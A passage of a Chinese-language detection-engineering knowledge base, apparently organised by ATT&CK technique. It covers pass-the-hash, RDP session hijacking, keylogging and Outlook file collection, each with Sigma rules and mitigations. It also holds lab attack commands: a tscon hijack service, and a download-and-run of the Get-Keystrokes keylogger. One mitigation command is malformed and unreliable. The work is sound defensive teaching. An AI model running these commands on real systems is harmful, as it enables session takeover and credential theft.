https://blog.binarydefense.com/reliably-detecting-pass-the-hash-through-event-log-analysis\nlogsource:\n  product: windows\n  category: security\ndetection:\n  selection:\n    EventID: 4624\n    LogonType:\n      - '3'\n      - '9'\n    LogonProcessName:\n      - 'NtLmSsp'\n      - 'seclogo'\n    KeyLength: '0'\n  filter:\n    NewLogonUserName: 'ANONYMOUS LOGON'\n  condition: selection and not filter\nfalsepositives:\n- Legitimate administrative activities\n- Penetration testing\nlevel: medium\n```\n\n### 检测思路\n1. **登录事件监控**：\n   - 检测事件ID 4624（Logon Type 3，NTLM认证），关注`NtLmSsp`登录进程。\n   - 检测事件ID 4625，识别失败的PtH尝试（状态码0xC000006A表示密码错误）。\n2. **进程监控**：\n   - 检测Mimikatz相关进程（如`mimikatz.exe`）或异常访问`lsass.exe`的行为。\n   - 检查事件ID 4688，捕获可疑进程（如`cmd.exe`）的命令行参数。\n3. **网络监控**：\n   - 检测TCP 445（SMB）或3389（RDP）流量，关注NTLM认证。\n   - 检查源IP是否为非预期工作站。\n4. **行为基线**：\n   - 建立组织内NTLM认证的正常模式，识别异常登录（如夜间操作、未知源IP）。\n5. **工具检测**：\n   - 监控Mimikatz的典型命令行参数（如`sekurlsa::pth`、`privilege::debug`）。\n\n### 检测建议\n- **日志配置**：启用Windows安全日志的登录事件审核（事件ID 4624、4625）。\n- **Sysmon配置**：配置Sysmon监控进程创建（事件ID 1）、进程访问（事件ID 10）和网络连接（事件ID 3）。\n- **EDR监控**：使用EDR工具（如Microsoft Defender for Endpoint）检测Mimikatz和NTLM认证异常。\n- **误报过滤**：排除合法管理员操作或测试活动，结合上下文（如用户、IP）降低误报率。\n\n## 缓解措施\n1. **补丁管理**：\n   - 安装KB2871997（Windows 7及更高版本），限制非RID 500账户的PtH。\n2. **凭据保护**：\n   - 禁用NTLM认证，优先使用Kerberos：\n     ```powershell\n     Set-ItemProperty -Path \"HKLM:\\SYSTEM\\CurrentControlSet\\Control\\Lsa\" -Name \"RestrictNTLM\" -Value 1\n     ```\n   - 启用多因素认证（MFA）保护管理员账户。\n3. **进程保护**：\n   - 使用Protected Process Light（PPL）保护`lsass.exe`，防止哈希提取。\n     ```powershell\n     Set-ItemProperty -Path \"HKLM:\\SYSTEM\\CurrentControlSet\\Control\\Lsa\" -Name \"RunAsPPL\" -Value 1\n     ```\n4. **网络限制**：\n   - 配置防火墙阻止未经授权的TCP 445/3389流量。\n   - 使用网络分段隔离敏感系统。\n5. **监控与告警**：\n   - 部署IDS/IPS，检测异常NTLM流量。\n   - 配置SIEM实时告警PtH相关事件。\n\n## 参考推荐\n- MITRE ATT&CK T1550.002  \n  https://attack.mitre.org/techniques/T1550/002  \n- Sigma规则 - PtH（目标主机）  \n  https://github.com/12306Bro/sigma/blob/master/rules/windows/builtin/win_pass_the_hash.yml  \n- Sigma规则 - PtH（攻击机）  \n  https://github.com/12306Bro/sigma/blob/master/rules/windows/builtin/win_pass_the_hash_2.yml  \n- Binary Defense - PtH检测  \n  https://blog.binarydefense.com/reliably-detecting-pass-the-hash-through-event-log-analysis  \n- Stealthbits - PtH检测  \n  https://blog.stealthbits.com/how-to-detect-pass-the-hash-attacks/\n"
  },
  {
    "path": "Windows/10横向移动/T1563.002-Win-远程服务会话劫持-RDP劫持.md",
    "content": "# T1563.002-Win-远程服务会话劫持-RDP劫持\n\n## 描述\n\n攻击者可能通过劫持合法用户的远程桌面协议（RDP）会话，在网络环境中实现横向移动。RDP是Windows系统的常见功能，允许用户通过图形用户界面与远程系统交互，微软将其实现称为远程桌面服务（RDS）。攻击者可利用系统权限或工具（如`tscon.exe`）劫持现有RDP会话，无需凭据或用户交互即可接管会话。这种技术可在本地或远程执行，适用于活动或断开的会话。劫持域管理员会话可能导致权限提升或远程系统发现。攻击者通常使用原生Windows命令（如`query user`、`tscon.exe`）或红队工具（如Mimikatz）实现此技术。\n\n## 测试案例\n\n### 用例\n- **会话劫持**：攻击者使用`tscon.exe`接管目标系统的RDP会话，执行命令或访问资源。\n- **横向移动**：通过劫持管理员RDP会话，访问其他网络系统。\n- **权限提升**：劫持域管理员会话，获取更高权限。\n- **隐形操作**：创建临时服务（如`sesshijack`）运行`tscon.exe`，避免用户察觉。\n\n### 示例场景\n- 攻击者以管理员权限运行`query user`枚举RDP会话，使用`tscon.exe`劫持目标会话，接管用户桌面。\n- 创建临时服务`sesshijack`运行`tscon.exe`，实现自动化会话劫持。\n\n### 路径\n- 相关工具路径：\n  ```yml\n  - C:\\Windows\\System32\\tscon.exe\n  - C:\\Windows\\System32\\sc.exe\n  - C:\\Windows\\System32\\cmd.exe\n  ```\n\n### 所需权限\n- 管理员权限（运行`tscon.exe`、创建服务）。\n- 系统权限（某些场景下，如直接访问`lsass.exe`）。\n\n### 操作系统\n- Windows 7、Windows 8、Windows 8.1、Windows 10、Windows 11、Windows Server 2008、2012、2016、2019、2022。\n\n## 检测日志\n\n### Windows安全日志\n- **事件ID 4688**：记录`tscon.exe`、`sc.exe`或`cmd.exe`进程创建（需启用命令行审核）。\n- **事件ID 7045**：记录新服务创建（如`sesshijack`）。\n- **事件ID 4624**：记录RDP会话的网络登录（Logon Type 10）。\n- **事件ID 4672**：记录分配给新登录的安全特权。\n\n### Sysmon日志\n- **事件ID 1**：捕获`tscon.exe`、`sc.exe`或`cmd.exe`进程创建及命令行参数。\n- **事件ID 13**：记录服务相关的注册表修改（如`sesshijack`）。\n- **事件ID 3**：记录RDP相关的网络连接（TCP 3389）。\n\n### 网络日志\n- 捕获TCP 3389端口的RDP流量，关注会话切换。\n\n## 测试复现\n\n### 环境准备\n- **靶机**：Windows Server 2016或Windows 10/11（已启用RDP，存在活动会话）。\n- **权限**：本地或域管理员权限。\n- **工具**：\n  - 原生Windows工具（`query user`、`tscon.exe`、`sc.exe`）。\n  - Sysmon（监控进程和注册表活动）。\n  - Wireshark（捕获RDP流量）。\n- **网络**：隔离网络环境，允许TCP 3389流量。\n- **日志**：启用Windows安全日志（事件ID 4688、7045）、Sysmon日志和网络日志。\n- **RDP配置**：\n  - 确保RDP服务启用：\n    ```powershell\n    Set-ItemProperty -Path \"HKLM:\\SYSTEM\\CurrentControlSet\\Control\\Terminal Server\" -Name \"fDenyTSConnections\" -Value 0\n    Enable-NetFirewallRule -DisplayGroup \"Remote Desktop\"\n    ```\n\n### 攻击步骤\n1. **枚举RDP会话**：\n   ```cmd\n   query user\n   ```\n   - 示例输出：\n     ```plaintext\n     USERNAME              SESSIONNAME        ID  STATE   IDLE TIME  LOGON TIME\n     >administrator         console            1   Active  none       2025/06/08 04:10\n     user1                 rdp-tcp#55         2   Disc    1+00:00    2025/06/08 03:50\n     ```\n   - 记录目标会话ID（如`2`）和目标会话名（如`rdp-tcp#55`）。\n2. **创建临时服务**：\n   ```cmd\n   sc.exe create sesshijack binpath= \"cmd.exe /k tscon 2 /dest:rdp-tcp#55\"\n   ```\n   - 创建服务`sesshijack`，运行`tscon.exe`劫持会话ID 2。\n3. **启动服务**：\n   ```cmd\n   net start sesshijack\n   ```\n   - 若服务启动失败（如无RDP会话），检查会话ID和目标会话名。\n4. **验证结果**：\n   - 检查是否成功接管RDP会话（通过RDP客户端连接，观察桌面切换）。\n   - 使用Wireshark捕获TCP 3389流量。\n   - 验证Sysmon日志是否记录`sc.exe`、`tscon.exe`进程创建和服务注册表修改。\n5. **清理**：\n   - 删除服务：\n     ```cmd\n     sc.exe delete sesshijack\n     ```\n   - 断开RDP会话：\n     ```cmd\n     logoff 2\n     ```\n\n## 测试留痕\n以下为Sysmon日志示例（事件ID 1，进程创建）：\n```yml\nEventID: 1\nUtcTime: 2025-06-08T04:55:07.755Z\nProcessGuid: {78c84c47-e003-61df-3f01-000000000900}\nProcessId: 2640\nImage: C:\\Windows\\System32\\sc.exe\nFileVersion: 10.0.17763.1\nDescription: Service Control Manager Configuration Tool\nProduct: Microsoft® Operating System\nCompany: Microsoft Corporation\nCommandLine: sc.exe create sesshijack binpath= \"cmd.exe /k tscon 2 /dest:rdp-tcp#55\"\nCurrentDirectory: C:\\Users\\Administrator.ZHULI\\\nUser: ZHULI\\Administrator\nLogonId: 0xA99D3\nIntegrityLevel: High\nHashes: SHA1=622FA2729408E5F467A592223219DA7C547E7CC7\nParentProcessId: 5196\nParentImage: C:\\Windows\\System32\\cmd.exe\n```\n\n以下为Windows安全日志示例（事件ID 7045，服务创建）：\n```yml\nEventID: 7045\nTimeCreated: 2025-06-08T04:55:08.123Z\nChannel: System\nHostname: TARGET-SRV\nServiceName: sesshijack\nImagePath: cmd.exe /k tscon 2 /dest:rdp-tcp#55\nServiceType: User mode service\nStartType: Demand start\nAccountName: LocalSystem\n```\n\n## 检测方法/思路\n\n### Sigma规则\n```yml\ntitle: Suspicious RDP Session Hijacking\nid: b8c9e7d6-1a5b-2c8d-4e3f-5678e9d0b2f2\nstatus: experimental\ndescription: Detects potential RDP session hijacking via tscon.exe or suspicious service creation\nreferences:\n  - https://attack.mitre.org/techniques/T1563/002\n  - https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1563.002/T1563.002\nlogsource:\n    product: windows\n    category: process_creation\ndetection:\n    selection_tscon:\n        EventID: 1\n        Image|endswith: '\\tscon.exe'\n        CommandLine|contains: '/dest:'\n    selection_service:\n        EventID: 1\n        Image|endswith: '\\sc.exe'\n        CommandLine|contains:\n            - 'create'\n            - 'binpath='\n            - 'cmd.exe /k'\n            - 'cmd.exe /c'\n            - 'tscon'\n    condition: selection_tscon or selection_service\nfalsepositives:\n    - Legitimate administrative use of RDP\n    - IT maintenance scripts creating services\nlevel: high\n```\n\n### 检测思路\n1. **进程监控**：\n   - 检测`tscon.exe`进程创建，关注命令行参数（如会话ID、`/dest`）。\n   - 检测`sc.exe`创建服务，尤其是`binpath`包含`cmd.exe /k`或`tscon.exe`。\n2. **服务监控**：\n   - 检测事件ID 7045，关注新服务（如`sesshijack`）的异常`ImagePath`。\n3. **网络监控**：\n   - 检测TCP 3389端口的RDP流量，关注会话切换或异常源IP。\n4. **RDP会话监控**：\n   - 检测事件ID 4624（Logon Type 10），关注RDP会话的频繁切换。\n5. **行为基线**：\n    - 建立组织内RDP使用和服务的正常模式，识别异常行为（如夜间操作、非管理员用户）。\n\n### 检测建议\n- **Sysmon配置**：配置Sysmon监控进程创建（事件ID 1）、服务注册表修改（事件ID 13）和网络连接（事件ID 3）。\n- **日志配置**：启用Windows系统日志的服务创建审核（事件ID 7045）。\n- **EDR监控**：使用EDR工具（如Microsoft Defender for Endpoint）检测`tscon.exe`和异常服务创建。\n- **误报过滤**：排除合法RDP管理和IT维护操作，结合上下文（如用户、命令行）降低误报率。\n\n## 缓解措施\n1. **RDP限制**：\n   - 禁用不必要的RDP服务：\n     ```powershell\n     Set-ItemProperty -Path \"HKLM:\\SYSTEM\\CurrentControlSet\\Control\\Terminal Server\" -Name \"fDenyTSConnections\" -Value 1\n     ```\n   - 限制RDP访问，仅允许特定用户或IP：\n     ```powershell\n     Set-ItemProperty -Path \"HKLM:\\SYSTEM\\CurrentControlSet\\Control\\Terminal Server\\WinStations\\RDP-Tcp\" -Name \"UserAuthentication\" -Value 1\n     ```\n2. **凭证保护**：\n   - 启用多因素认证（MFA）保护RDP登录。\n   - 限制RDP的管理员账户权限。\n3. **服务管理**：\n   - 限制非管理员用户创建服务：\n     ```powershell\n     Set-ItemProperty -Path \"HKLM:\\SYSTEM\\CurrentControlSet\\Services\" -Name -Name \"RestrictServiceCreation\" -Value 1\n     ```\n4. **网络限制**：\n   - 配置防火墙阻止未授权的TCP 3389流量。\n   - 使用网络分段隔离敏感系统。\n5. **监控和警报**：\n   - 部署IDS/IPS，检测异常RDP流量或`tscon.exe`使用。\n   - 配置SIEM实时警报RDP会话劫持和服务创建事件。\n\n## 参考推荐\n\n- MITRE ATT&CK T1563.002\n  - <https://attack.mitre.org/techniques/T1563/002>\n- 原子红队 T1563.002\n  - <https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1563.002/T1563.002.md>\n"
  },
  {
    "path": "Windows/11收集/T1056.001-Win-键盘记录.md",
    "content": "# T1056.001-Win-键盘记录\n\n## 描述\n\n攻击者可能通过记录用户键盘输入来窃取凭据或其他敏感信息，尤其是在操作系统凭据转储（如LSASS转储）无效时。键盘记录（Keylogging）是最常见的输入捕获技术，需在系统上长时间拦截击键以获取有效凭据。攻击者可能通过以下方式实现键盘记录：\n\n- **API钩子**：钩住处理击键的API（如`SetWindowsHookEx`、`GetKeyState`、`GetAsyncKeyState`）。\n- **硬件缓冲区**：读取键盘硬件的原始击键数据。\n- **注册表修改**：更改注册表以启用击键记录。\n- **自定义驱动程序**：安装恶意驱动程序捕获击键。\n- **系统镜像修改**：修改操作系统以在登录会话中记录击键。\n\n## 测试案例\n\n### 用例\n- **凭据窃取**：通过记录击键捕获用户输入的用户名和密码。\n- **情报收集**：记录键盘输入以获取敏感信息（如聊天记录、文档内容）。\n- **持久化监控**：定期记录击键并通过C2通道传输。\n\n### 测试1：使用PowerSploit的Get-Keystrokes.ps1\n利用PowerShell脚本`Get-Keystrokes.ps1`捕获击键并保存到日志文件：\n- 脚本来源：https://github.com/PowerShellMafia/PowerSploit/blob/master/Exfiltration/Get-Keystrokes.ps1\n- 功能：通过调用Windows API（如`GetAsyncKeyState`）记录击键，输出到指定日志文件（如`key.log`）。\n\n#### 攻击命令\n需以管理员权限运行PowerShell：\n```powershell\nSet-Location $PathToAtomicsFolder\n.\\T1056.001\\src\\Get-Keystrokes.ps1 -LogPath $env:TEMP\\key.log\n```\n\n#### 清理命令\n删除生成的日志文件：\n```powershell\nRemove-Item $env:TEMP\\key.log -ErrorAction Ignore\n```\n\n### 所需权限\n- 管理员权限（运行脚本、访问API或安装驱动程序）。\n\n### 操作系统\n- Windows 7、Windows 8、Windows 8.1、Windows 10、Windows 11、Windows Server 2008、2012、2016、2019、2022。\n\n## 检测日志\n\n### Windows安全日志\n- **事件ID 4688**：记录`powershell.exe`进程创建及命令行参数（需启用命令行审核）。\n- **事件ID 4663**：记录对注册表的修改（如键盘记录配置）。\n\n### Sysmon日志\n- **事件ID 1**：捕获`powershell.exe`进程创建及命令行参数（如包含`Get-Keystrokes`）。\n- **事件ID 11**：记录日志文件（如`key.log`）的创建。\n- **事件ID 13**：记录注册表修改（如键盘记录相关键）。\n- **事件ID 3**：记录可能的网络连接（若日志文件通过网络传输）。\n\n### PowerShell日志\n- **事件ID 4104**：捕获PowerShell脚本块执行，记录`Get-Keystrokes`相关内容。\n\n### 文件系统日志\n- 监控新创建的日志文件（如`.log`、`.txt`）及其路径。\n\n## 测试复现\n\n### 环境准备\n- **靶机**：Windows 10/11或Windows Server 2019。\n- **权限**：管理员权限。\n- **工具**：\n  - PowerShell（系统自带）。\n  - Get-Keystrokes.ps1脚本（https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1056.001/src/Get-Keystrokes.ps1）。\n  - Sysmon（用于进程和文件监控）。\n  - Wireshark（若涉及网络传输，捕获流量）。\n- **网络**：隔离网络环境，允许可能的出站流量。\n- **日志**：启用Windows安全日志、Sysmon日志和PowerShell日志。\n\n### 攻击步骤\n1. **下载脚本**：\n   - 获取`Get-Keystrokes.ps1`：\n     ```bash\n     Invoke-WebRequest -Uri https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1056.001/src/Get-Keystrokes.ps1 -OutFile $env:TEMP\\Get-Keystrokes.ps1\n     ```\n2. **运行脚本**：\n   ```powershell\n   Set-Location $env:TEMP\n   .\\Get-Keystrokes.ps1 -LogPath $env:TEMP\\key.log\n   ```\n   - 脚本将记录击键并保存到`$env:TEMP\\key.log`。\n3. **验证结果**：\n   - 检查`$env:TEMP\\key.log`是否生成并包含击键记录。\n   - 使用Wireshark捕获网络流量（若数据通过网络传输）。\n   - 验证Sysmon和PowerShell日志是否记录脚本执行和文件创建。\n4. **清理**：\n   ```powershell\n   Remove-Item $env:TEMP\\key.log -ErrorAction Ignore\n   Remove-Item $env:TEMP\\Get-Keystrokes.ps1 -ErrorAction Ignore\n   ```\n\n### 注意事项\n- 测试需在合法授权的隔离环境中进行，避免对生产环境造成影响。\n- Windows Server 2019测试可能失败，建议在Windows 10/11上验证。\n- 确保PowerShell执行策略允许运行脚本（`Set-ExecutionPolicy -Scope CurrentUser -ExecutionPolicy Bypass`）。\n\n## 测试留痕\n以下为Windows安全日志示例（事件ID 4688）：\n```yml\nEventID: 4688\nTimeCreated: 2025-06-08T03:25:45.123Z\nChannel: Security\nHostname: DESKTOP-PT656L6\nSubjectUserSid: S-1-5-21-1234567890-123456789-1234567890-1001\nSubjectUserName: liyang\nSubjectDomainName: DESKTOP-PT656L6\nSubjectLogonId: 0x47126\nNewProcessId: 0x1c2d\nNewProcessName: C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\nProcessCommandLine: powershell.exe -Command .\\Get-Keystrokes.ps1 -LogPath C:\\Users\\liyang\\AppData\\Local\\Temp\\key.log\nCreatorProcessId: 0x1410\nCreatorProcessName: C:\\Windows\\System32\\cmd.exe\nTokenElevationType: %%1936\nMandatoryLabel: S-1-16-12288\n```\n\n以下为Sysmon日志示例（事件ID 11）：\n```yml\nEventID: 11\nUtcTime: 2025-06-08T03:25:45.456Z\nProcessGuid: {12345678-9abc-def0-1234-56789abcdef0}\nProcessId: 7204\nImage: C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\nTargetFilename: C:\\Users\\liyang\\AppData\\Local\\Temp\\key.log\nCreationUtcTime: 2025-06-08T03:25:45.456Z\n```\n\n## 检测方法/思路\n\n### Sigma规则\n基于Sigma规则，检测PowerShell键盘记录行为：\n\n```yml\ntitle: Suspicious PowerShell Keylogging Activity\nid: d8e7f9c0-4a3b-5c6d-9e8f-2b3c4d5e6f7a\nstatus: experimental\ndescription: Detects PowerShell scripts executing keylogging activities, such as Get-Keystrokes\nreferences:\n- https://attack.mitre.org/techniques/T1056/001\n- https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1056.001/T1056.001.md\n- https://github.com/PowerShellMafia/PowerSploit/blob/master/Exfiltration/Get-Keystrokes.ps1\nlogsource:\n  product: windows\n  category: process_creation\ndetection:\n  selection:\n    EventID: 4688\n    Image|endswith: '\\powershell.exe'\n    CommandLine|contains:\n      - 'Get-Keystrokes'\n      - 'GetAsyncKeyState'\n  condition: selection\nfalsepositives:\n- Legitimate PowerShell scripts for system monitoring\nlevel: high\n```\n\n### 检测思路\n1. **进程监控**：\n   - 检测`powershell.exe`进程的创建，尤其是命令行包含`Get-Keystrokes`或`GetAsyncKeyState`。\n   - 监控异常父进程（如`cmd.exe`、`explorer.exe`）调用PowerShell。\n2. **文件监控**：\n   - 检测新创建的日志文件（如`.log`、`.txt`），尤其是位于临时目录（如`$env:TEMP`）。\n3. **注册表监控**：\n   - 检测键盘记录相关的注册表修改（如`HKLM\\SYSTEM\\CurrentControlSet\\Control\\Keyboard Layouts`）。\n   - 使用Sysmon事件ID 13捕获注册表操作。\n4. **API调用监控**：\n   - 检测常见键盘记录API调用（如`SetWindowsHookEx`、`GetKeyState`、`GetAsyncKeyState`）。\n   - 使用EDR工具监控异常进程访问这些API。\n5. **网络监控**：\n   - 检测日志文件通过网络传输的行为（如上传到C2服务器）。\n\n### 检测建议\n- **Sysmon配置**：配置Sysmon监控`powershell.exe`的进程创建（事件ID 1）、文件创建（事件ID 11）和注册表修改（事件ID 13）。\n- **PowerShell日志**：启用PowerShell模块、脚本块和命令行日志，捕获`Get-Keystrokes`相关活动。\n- **EDR监控**：使用EDR工具（如Microsoft Defender for Endpoint）监控键盘记录API调用和文件创建。\n- **误报过滤**：排除合法监控脚本（如IT管理工具），结合上下文（如用户身份、时间）降低误报率。\n\n## 缓解措施\n1. **PowerShell限制**：\n   - 配置PowerShell执行策略（如`Restricted`或`Constrained Language Mode`），限制未签名脚本的执行。\n   - 使用AppLocker或WDAC限制`powershell.exe`的执行。\n2. **注册表保护**：\n   - 限制非管理员用户修改键盘相关注册表键。\n3. **驱动程序控制**：\n   - 使用驱动程序签名强制执行（Driver Signature Enforcement）阻止未签名驱动程序安装。\n4. **文件监控**：\n   - 部署文件完整性监控（FIM）工具，检测异常日志文件创建。\n5. **网络限制**：\n   - 监控并限制日志文件通过网络传输的行为，阻止未经授权的数据泄露。\n\n## 参考推荐\n- MITRE ATT&CK T1056.001  \n  https://attack.mitre.org/techniques/T1056/001  \n- Atomic-red-team T1056.001  \n  https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1056.001/T1056.001.md  \n- PowerSploit Get-Keystrokes Payload  \n  https://github.com/PowerShellMafia/PowerSploit/blob/master/Exfiltration/Get-Keystrokes.ps1  \n- PowerShell小技巧之定时记录操作系统行为  \n  https://www.jb51.net/article/56139.htm\n"
  },
  {
    "path": "Windows/11收集/T1114.001-Win-本地电子邮件收集.md",
    "content": "# T1114.001-Win-本地电子邮件收集\n\n## 描述\n\n攻击者可能在用户本地系统上收集电子邮箱数据，以获取敏感信息（如凭据、商业机密或通信记录）。这些数据通常存储在电子邮件客户端的本地文件中，例如Outlook的`.pst`（个人存储表）或`.ost`（脱机存储表）文件。Outlook将数据存储在以下默认路径：\n- **路径**：\n  ```yml\n  - C:\\Users\\<username>\\Documents\\Outlook Files\n  - C:\\Users\\<username>\\AppData\\Local\\Microsoft\\Outlook\n  ```\n- **文件类型**：\n  - `.pst`：用于POP账户和Outlook 2013及更早版本的IMAP账户，最大50GB（早期版本20GB）。\n  - `.ost`：用于Outlook 2016及更高版本的IMAP账户和Exchange账户，最大50GB。\n\n攻击者可能通过命令行工具（如`where.exe`）、PowerShell脚本或远程访问工具搜索并复制这些文件，随后通过C2通道泄露。\n\n## 测试案例\n\n### 用例\n- **文件搜索**：使用`where.exe`或PowerShell搜索`.pst`或`.ost`文件，定位敏感邮件数据。\n- **数据泄露**：复制找到的邮件文件并通过网络传输到C2服务器。\n- **自动化收集**：脚本自动扫描用户目录，提取所有Outlook数据文件。\n\n### 示例场景\n- 攻击者使用`where.exe`递归搜索用户目录下的`.pst`文件，定位Outlook邮箱数据。\n- 恶意PowerShell脚本扫描Outlook默认路径，复制`.ost`文件并上传。\n\n### 所需权限\n- 用户权限（访问用户目录和文件）。\n- 管理员权限（若访问受限目录或执行特定工具）。\n\n### 操作系统\n- Windows 7、Windows 8、Windows 8.1、Windows 10、Windows 11、Windows Server 2008、2012、2016、2019、2022。\n\n## 检测日志\n\n### Windows安全日志\n- **事件ID 4688**：记录`where.exe`或其他搜索工具的进程创建及命令行参数（需启用命令行审核）。\n- **事件ID 4663**：记录对`.pst`或`.ost`文件的访问。\n\n### Sysmon日志\n- **事件ID 1**：捕获`where.exe`或`powershell.exe`进程创建及命令行参数。\n- **事件ID 11**：记录`.pst`或`.ost`文件的访问或复制。\n- **事件ID 3**：记录可能的网络连接（若文件通过网络传输）。\n\n### PowerShell日志\n- **事件ID 4104**：捕获PowerShell脚本执行，记录搜索或访问邮件文件的命令。\n\n### 文件系统日志\n- 监控`.pst`或`.ost`文件的访问或复制事件。\n\n## 测试复现\n\n### 环境准备\n- **靶机**：Windows 10/11或Windows Server 2016/2019。\n- **权限**：用户权限。\n- **工具**：\n  - `where.exe`（系统自带，位于`C:\\Windows\\System32`）。\n  - PowerShell（系统自带）。\n  - Sysmon（用于进程和文件监控）。\n  - Wireshark（若涉及网络传输，捕获流量）。\n  - 测试Outlook文件（如`qax.pst`）。\n- **网络**：隔离网络环境，允许可能的出站流量。\n- **日志**：启用Windows安全日志、Sysmon日志和PowerShell日志。\n\n### 攻击步骤\n1. **创建测试文件**：\n   - 在`C:\\Users\\Administrator\\Documents\\Outlook Files`放置测试文件`qax.pst`。\n2. **执行搜索命令**：\n   ```bash\n   C:\\Users\\Administrator>where /R c:\\users\\administrator\\ *.pst\n   c:\\Users\\Administrator\\Documents\\Outlook Files\\qax.pst\n   ```\n   - 命令解释：`/R`表示递归搜索，`*.pst`匹配所有`.pst`文件。\n3. **验证结果**：\n   - 检查命令输出是否列出`qax.pst`。\n   - 验证Sysmon日志是否记录`where.exe`进程和文件访问。\n   - 若测试文件复制或传输，使用Wireshark捕获网络流量。\n4. **清理**：\n   - 删除测试文件（如`del C:\\Users\\Administrator\\Documents\\Outlook Files\\qax.pst`）。\n\n### PowerShell替代方法\n使用PowerShell搜索`.pst`或`.ost`文件：\n```powershell\nGet-ChildItem -Path C:\\Users\\Administrator -Recurse -Include *.pst,*.ost\n```\n\n## 测试留痕\n以下为Windows安全日志示例（事件ID 4688）：\n```yml\nEventID: 4688\nTimeCreated: 2025-06-08T03:30:45.123Z\nChannel: Security\nHostname: QAX\nSubjectUserSid: S-1-5-21-1234567890-123456789-1234567890-500\nSubjectUserName: Administrator\nSubjectDomainName: QAX\nSubjectLogonId: 0x4463EA\nNewProcessId: 0x15e0\nNewProcessName: C:\\Windows\\System32\\where.exe\nProcessCommandLine: where /R c:\\users\\administrator\\ *.pst\nCreatorProcessId: 0x12b0\nCreatorProcessName: C:\\Windows\\System32\\cmd.exe\nTokenElevationType: %%1936\nMandatoryLabel: S-1-16-12288\n```\n\n以下为Sysmon日志示例（事件ID 11）：\n```yml\nEventID: 11\nUtcTime: 2025-06-08T03:30:45.456Z\nProcessGuid: {12345678-9abc-def0-1234-56789abcdef0}\nProcessId: 5600\nImage: C:\\Windows\\System32\\where.exe\nTargetFilename: C:\\Users\\Administrator\\Documents\\Outlook Files\\qax.pst\nCreationUtcTime: 2025-06-08T03:30:45.456Z\n```\n\n## 检测方法/思路\n\n### Sigma规则\n基于Sigma规则，检测使用`where.exe`搜索`.pst`或`.ost`文件的活动：\n\n```yml\ntitle: Suspicious Local Email File Search\nid: e9f8c7d6-3a4b-5c6d-9e8f-4b3c5d6e7f8a\nstatus: experimental\ndescription: Detects use of where.exe to search for .pst or .ost files, potentially for email data collection\nreferences:\n- https://attack.mitre.org/techniques/T1114/001\nlogsource:\n  product: windows\n  category: process_creation\ndetection:\n  selection:\n    EventID: 4688\n    Image|endswith: '\\where.exe'\n    CommandLine|contains:\n      - '.pst'\n      - '.ost'\n  condition: selection\nfalsepositives:\n- Legitimate email client maintenance by administrators\n- Backup or migration scripts accessing .pst/.ost files\nlevel: low\n```\n\n### 检测思路\n1. **进程监控**：\n   - 检测`where.exe`或`powershell.exe`进程的创建，尤其是命令行包含`.pst`或`.ost`。\n   - 监控异常父进程（如`cmd.exe`、`powershell.exe`）调用搜索工具。\n2. **文件监控**：\n   - 检测`.pst`或`.ost`文件的访问或复制事件，尤其是位于`C:\\Users\\<username>\\Documents\\Outlook Files`或`C:\\Users\\<username>\\AppData\\Local\\Microsoft\\Outlook`。\n3. **PowerShell监控**：\n   - 检查PowerShell事件ID 4104，捕获搜索`.pst`或`.ost`的脚本（如`Get-ChildItem`）。\n4. **网络监控**：\n   - 检测`.pst`或`.ost`文件通过网络传输的行为（如上传到C2服务器）。\n5. **行为基线**：\n   - 建立组织内正常邮件文件访问的基线，识别异常行为（如夜间运行、非典型用户）。\n\n### 检测建议\n- **Sysmon配置**：配置Sysmon监控`where.exe`和`powershell.exe`的进程创建（事件ID 1）和文件访问（事件ID 11）。\n- **PowerShell日志**：启用PowerShell模块和脚本块日志，捕获搜索邮件文件的脚本。\n- **EDR监控**：使用EDR工具（如Microsoft Defender for Endpoint）监控`.pst`或`.ost`文件的异常访问。\n- **误报过滤**：排除合法邮件备份或迁移操作，结合上下文（如用户身份、时间）降低误报率。\n\n## 缓解措施\n1. **文件访问控制**：\n   - 限制普通用户对`.pst`和`.ost`文件的访问，仅允许受信任进程（如Outlook）。\n   - 使用组策略限制对Outlook默认路径的写权限。\n2. **应用白名单**：\n   - 使用AppLocker或WDAC限制`where.exe`或`powershell.exe`的异常执行。\n3. **文件监控**：\n   - 部署文件完整性监控（FIM）工具，检测`.pst`或`.ost`文件的异常访问或复制。\n4. **网络限制**：\n   - 监控并限制大文件（如`.pst`、`.ost`）通过网络传输的行为，阻止未经授权的数据泄露。\n\n## 参考推荐\n- MITRE ATT&CK T1114.001  \n  https://attack.mitre.org/techniques/T1114/001"
  },
  {
    "path": "Windows/11收集/T1119-win-Seatbelt自动收集信息.md",
    "content": "# T1119-Win-Seatbelt自动收集信息\n\n## 描述\n\n攻击者在系统或网络中建立立足点后，可能使用自动化技术收集内部信息。自动化收集可通过命令行脚本、PowerShell脚本或专用工具（如Seatbelt）实现，搜索并复制符合攻击者需求的数据（如特定文件类型、配置文件、浏览器历史记录）。这些工具可能内置于恶意软件或远程访问工具中，并常结合其他技术（如文件和目录发现、横向工具传输）以定位和移动文件。Seatbelt是一个功能强大的C#工具，能够快速收集主机安全配置和敏感信息，广泛用于渗透测试和红队行动。\n\n## 测试案例\n\n### 用例\n- **系统信息收集**：使用Seatbelt收集主机配置，如操作系统版本、补丁状态、用户账户。\n- **浏览器历史记录**：提取Chrome、Edge等浏览器的访问历史，获取内部站点域名或IP。\n- **凭据收集**：扫描注册表或配置文件，获取保存的凭据或令牌。\n- **网络信息**：收集网络共享、连接信息或ARP表。\n\n### 示例场景\n- 攻击者在受损主机上运行Seatbelt，执行`-group=user`命令收集用户信息和浏览器历史，提升内网资产摸索效率。\n- 自动化脚本定期运行Seatbelt，将收集的数据通过C2通道传输。\n\n### 路径\nSeatbelt通常以可执行文件形式运行，路径取决于攻击者部署位置：\n```yml\n- C:\\Users\\[username]\\Desktop\\Seatbelt.exe\n- C:\\Temp\\Seatbelt.exe\n```\n\n### 所需权限\n- 用户权限（执行Seatbelt）。\n- 管理员权限（部分检查功能，如注册表操作，可能需要提升权限）。\n\n### 操作系统\n- Windows 7、Windows 8、Windows 8.1、Windows 10、Windows 11、Windows Server 2008、2012、2016、2019、2022。\n\n## 检测日志\n\n### 